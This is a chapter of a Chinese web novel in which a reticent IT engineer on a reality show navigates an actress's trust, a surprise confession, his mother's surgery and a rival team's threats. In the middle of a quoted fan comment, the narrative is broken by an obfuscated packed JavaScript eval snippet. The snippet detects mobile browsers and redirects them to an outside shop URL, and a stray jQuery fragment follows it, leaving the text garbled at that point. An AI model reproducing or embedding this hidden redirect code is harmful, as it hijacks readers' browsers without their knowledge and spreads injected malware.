迷宫挑战结束后，节目组给了半小时休息时间。


    陈末回房间处理工作邮件——公司新系统上线后有几个小问题需要他远程协助。当他敲完最后一行故障分析报告时，敲门声响起。


    打开门，是林薇。


    她换了件浅灰色的针织开衫，头发松松地挽着，手里拿着那本《人月神话》。看起来像是路过，但陈末注意到她指尖在书脊上轻轻摩挲的动作——那是她思考时的习惯。


    “打扰了。”林薇说，“关于这本书第七章，有个地方想请教。”


    “请进。”陈末侧身。


    林薇走进房间，在书桌前的椅子上坐下。陈末坐在床边，两人隔着两米距离。


    “第152页，”林薇翻开书，“这里说，‘沟通成本随团队规模呈指数增长’。下面有个公式……”


    陈末接过书，看了一眼：“这是布鲁克斯定律的数学表达。意思是增加人手不一定能加快进度，因为新人需要时间熟悉项目，而且沟通路径会急剧增加。”


    “所以人越多效率越低？”林薇问。


    “不一定，但边际收益递减。”陈末解释，“就像分布式系统，节点太多会增加网络开销。需要找到最优规模。”


    林薇若有所思地点头。她接过书，却没继续问技术问题，而是说：“刚才在迷宫里……谢谢你。”


    “你已经谢过了。”陈末说。


    “不一样。”林薇看着书页，“那时候是谢你的指令精确。现在是谢你……没有让我觉得尴尬。”


    陈末不太明白。他做了什么不让林薇尴尬的事？


    林薇似乎看出他的困惑，轻声说：“当我完全依赖你的指令时，有一种……很奇怪的感觉。像回到小时候，什么都不用想，只要跟着大人的指令走就好。”


    她停顿了一下，声音更轻：“我已经很久没有这种感觉了。”


    陈末看着她。林薇低着头，睫毛垂下来，遮住了眼神。这个角度让她看起来比平时脆弱。


    “信任会降低系统通信延迟。”陈末说，“你不质疑指令，不要求解释，执行效率自然高。”


    林薇抬头，眼里闪过一丝笑意：“又是系统比喻。”


    “但准确。”


    “嗯。”林薇点头，“很准确。”


    两人沉默了一会儿。窗外传来海鸟的叫声，和海浪拍打沙滩的声音。


    “陈末，”林薇忽然问，“你会害怕吗？”


    “害怕什么？”


    “失控。”林薇说，“像在迷宫里那样，完全看不见，只能依赖别人。”


    陈末想了想：“运维工作中经常遇到不可预见的故障。某种意义上，那就是失控。但害怕没用，重要的是尽快恢复控制。”


    “如果……恢复不了呢？”


    “那就止损，记录日志，事后复盘。”陈末说，“系统不可能永远不故障，关键是从故障中学到什么。”


    林薇看着他，眼神复杂：“你总是这么理性。”


    “理性效率高。”


    “但人会累。”林薇说，“理性也会累。”


    陈末没说话。他想起母亲病情恶化时，自己半夜在医院走廊里来回踱步的样子。那时候理性告诉他“焦虑没用”，但身体还是控制不住地紧张。


    “会累。”他承认，“所以需要定期维护。”


    “你怎么维护？”


    “跑步，看书，处理技术问题。”陈末说，“或者……算账。”


    “算账？”


    “算收入，算支出，算时间分配。”陈末说，“数字很确定，不会骗人。”


    林薇笑了，很轻的笑声：“这方法很好。我下次试试。”


    她又低头看书，翻了几页，但陈末觉得她没在看。


    “陈末，”她又开口，这次声音很轻，“如果……我是说如果，一个系统运行了很久，但从来没听过用户的真实反馈，会怎么样？”


    陈末思考这个问题。这在软件开发里叫“缺乏用户反馈闭环”。


    “可能会偏离用户需求而不自知。”他说，“功能越来越复杂，但用户真正需要的可能很简单。”


    “怎么获取真实反馈？”


    “直接问，观察使用行为，分析数据。”陈末说，“但关键是……要愿意听真话，哪怕不好听。”


    林薇点点头。她合上书，抱在怀里，像抱着什么珍贵的东西。


    “我在想，”她说，“也许我来这个节目，就是想听点真话。在剧组，大家都说‘林薇姐演得真好’；在采访里，记者写‘影后谈艺术追求’；在粉丝眼里，我是‘完美的林薇’。但那些……有多少是真话？”


    陈末不知道该怎么回答。他不擅长这种情感话题。


    “你在节目里说的都是真话。”林薇看着他，“‘为钱而来’，‘算工时’，‘系统协作’……虽然听起来有点怪，但都是真的。”


    “我没有理由说谎。”陈末说。


    “这就是你最珍贵的地方。”林薇说，“你没有说谎的理由。”


    她站起身：“书我再借几天。还有……谢谢今天的谈话。”


    “不客气。”


    林薇走到门口，手放在门把上，停顿了一下：“陈末。”


    “嗯？”


    “如果以后……”她没回头，“如果以后我需要听真话，可以找你吗？”


    “可以。”陈末说。


    林薇点点头，开门离开了。


    陈末站在原地，脑子里复盘刚才的对话。林薇在寻求某种……确认？或者支持？他不太确定。但他答应提供技术支持——听真话也算一种技术支持吧。


    手机震动，是刘导的消息：“陈末老师，方便来监控室一趟吗？有事商量。”


    监控室里，刘导正在看迷宫挑战的回放。画面停在陈末和林薇协作打开机关的那一刻。


    “拍得真好。”刘导感叹，“那种默契……观众会喜欢的。”


    “找我有事？”陈末问。


    “两件事。”刘导关掉屏幕，“第一，医院那边，手术时间确定了——后天上午九点。你需要提前离岛，我们会安排。”


    后天。陈末心里一紧。这么快。


    “第二，”刘导表情严肃，“王烁的经纪人今天正式提出，要求查看你的背景调查资料。理由是‘确保节目安全’。”


    陈末皱眉：“节目组会同意吗？”


    “我们有保密协议，原则上不同意。”刘导说，“但他们施压很大。王烁背后的资本方甚至威胁要撤资。”


    “撤资？”


    “他们投资了这个项目，有话语权。”刘导叹气，“陈末，你得做好准备。王烁团队可能已经查到你母亲生病的事，甚至可能知道手术安排。”


    陈末心里一沉。如果王烁知道手术时间……


    “他们会怎么做？”他问。


    “不确定。”刘导摇头，“但以我对这个圈子的了解，他们可能会在手术当天制造话题，转移注意力。或者……利用你的‘孝子’形象做文章。”


    “怎么做文章？”


    “比如，质疑你是否利用母亲病情炒作。”刘导说，“或者，曝光你的实际报酬，质疑‘为钱而来’的真实性——如果你真的缺钱，为什么能付得起高昂手术费？如果你不缺钱，为什么说‘为钱而来’？无论哪种，都能制造矛盾。”


    陈末明白了。真相不重要，重要的是能制造多少讨论。


    “我需要做什么？”他问。


    “保持低调。”刘导说，“手术当天，我们会安排你秘密离岛，尽量不引人注意。另外……关于你和林薇的互动，可能也需要适当降温。”


    “降温？”


    “王烁团队已经注意到你们走得太近。”刘导说，“他们认为这是节目组的刻意安排，为了捧你而牺牲王烁的镜头。如果我们再继续推你和林薇的线，他们可能会采取更激烈的手段。”


    陈末想起林薇刚才的话：“如果以后我需要听真话，可以找你吗？”


    他不想“降温”。但……


    “我明白了。”他说。


    回到房间，陈末打开手机。母亲的主治医生发来了手术详细安排：后天上午九点，预计三小时，术后直接进ICU观察。


    他回复：“收到，我会准时到。”


    然后他打开备忘录，记录：


    【手术安排确认】


    时间：后天上午9:00


    地点：市第一医院


    流程：已收悉


    注意事项：需提前一天进行术前准备


    【风险预警】


    1. 王烁团队已知或怀疑母亲病情及手术安排


    2. 可能于手术日制造舆论事件


    3. 节目组建议“降温”与林薇的互动


    写完，他盯着“降温”两个字。


    怎么降温？刻意疏远？减少对话？那和林薇刚建立的信任怎么办？


    还有那三十万。他还没还。


    手机又响了，这次是张伟：“末哥！你跟林薇上热搜了！‘迷宫默契’！”


    陈末点开链接。是节目组官方发的迷宫挑战花絮，重点剪了他和林薇配合的部分。评论区：


    “这默契是真实存在的吗？”


    “陈末的指令好像AI，林薇的执行好像机


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990784|193693||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    器人，但好配！”


    “只有我觉得他们之间有种奇怪的张力吗？”


    “王烁表情有点微妙……”


    “我宣布这对CP我嗑了！”


    陈末关掉页面。果然，观众注意到了。


    这时，敲门声又响了。陈末以为又是林薇，开门却是苏小雨。


    “陈末老师！”她眼睛红红的，像刚哭过，“我能找你聊聊吗？”


    “进来吧。”陈末让开。


    苏小雨进来，坐在刚才林薇坐过的椅子上。她手里捏着纸巾，手指绞在一起。


    “怎么了？”陈末问。


    “我……”苏小雨吸了吸鼻子，“我刚才看到热搜了。你和林薇姐……你们是不是……”


    她没说完，但陈末懂了。


    “我们只是任务配合。”他说。


    “可是……”苏小雨抬头看他，眼眶湿漉漉的，“可是我觉得林薇姐看你的眼神不一样。还有你，你跟林薇姐说话的时候，语气都跟别人不一样。”


    陈末回想。有吗？他觉得自己对所有人都一样。


    “你是不是喜欢林薇姐？”苏小雨直接问。


    陈末愣住了。喜欢？他对林薇是什么感觉？欣赏她的专业，感谢她的帮助，愿意为她提供技术支持。这是喜欢吗？


    “我不知道。”他诚实地说。


    “那就是有可能喜欢。”苏小雨眼泪掉下来，“我……我也喜欢你啊。虽然我知道自己可能没机会，但我还是想说。”


    陈末彻底懵了。这种直球告白完全超出了他的处理范围。


    “苏小雨，”他斟酌措辞，“我们现在在录节目。很多事情……可能只是节目效果。”


    “但我是真的！”苏小雨站起来，“从你第一天帮我修平板开始，我就觉得你跟别人不一样。你不装，不演，说什么就是什么。我……我很喜欢这样的你。”


    陈末不知道该怎么回应。他想起刘导说的“降温”，但现在……


    “谢谢。”他最后说，“但我现在……有很多事要处理。母亲的病，工作，合同……”


    “我知道。”苏小雨擦擦眼泪，“我没说要你现在回应。我只是……想让你知道。”


    她说完，转身跑出房间。


    陈末站在原地，脑子里一片混乱。


    林薇的信任。


    苏小雨的告白。


    王烁的威胁。


    母亲的手术。


    三十万的债务。


    一百万的日薪。


    所有变量同时涌入，像系统突然收到海量并发请求，CPU使用率瞬间飙到100%。


    他需要重启。


    需要清理内存。


    需要重新规划线程优先级。


    但现实世界没有重启键。


    他只能硬扛。


    窗外的天色渐渐暗下来。夕阳把海面染成金红色，美得不真实。


    陈末站在窗前，看着那片金色慢慢褪去，变成深蓝。


    后天，他要去医院。


    大后天，他可能要面对一场舆论风暴。


    而现在，他需要决定如何处理和林薇的关系，如何回应苏小雨的告白，如何应对王烁的威胁。


    每一个决策都有风险。


    每一个选择都可能引发连锁反应。


    他忽然想起林薇的问题：“如果恢复不了控制呢？”


    那就止损，记录日志，事后复盘。


    他深吸一口气，打开手机，给林薇发了条消息：


    “关于今天说的真话——如果你需要，随时可以找我。这是承诺。”


    发送。


    然后他给苏小雨也发了一条：


    “谢谢你的信任。我会认真考虑。”


    发送。


    最后，他给刘导发消息：


    “关于降温的事，我尽量。但有些事……我做不到刻意。”


    发送。


    做完这些，他感觉好了一点。


    至少，他做出了选择。


    至少，他没有逃避。


    窗外，第一颗星星亮起来了。


    像监控面板上的一个绿色指示灯。


    提示着：系统仍在运行。


    尽管负载很高。


    尽管有未知风险。


    但仍在运行。


    而他，这个系统的管理员，会继续监控，继续优化，继续……


    按自己的设计运行。


    即使这个设计，正变得越来越复杂。


    即使这个系统，正面临前所未有的压力测试。


    他准备好了。


    或者说，他必须准备好。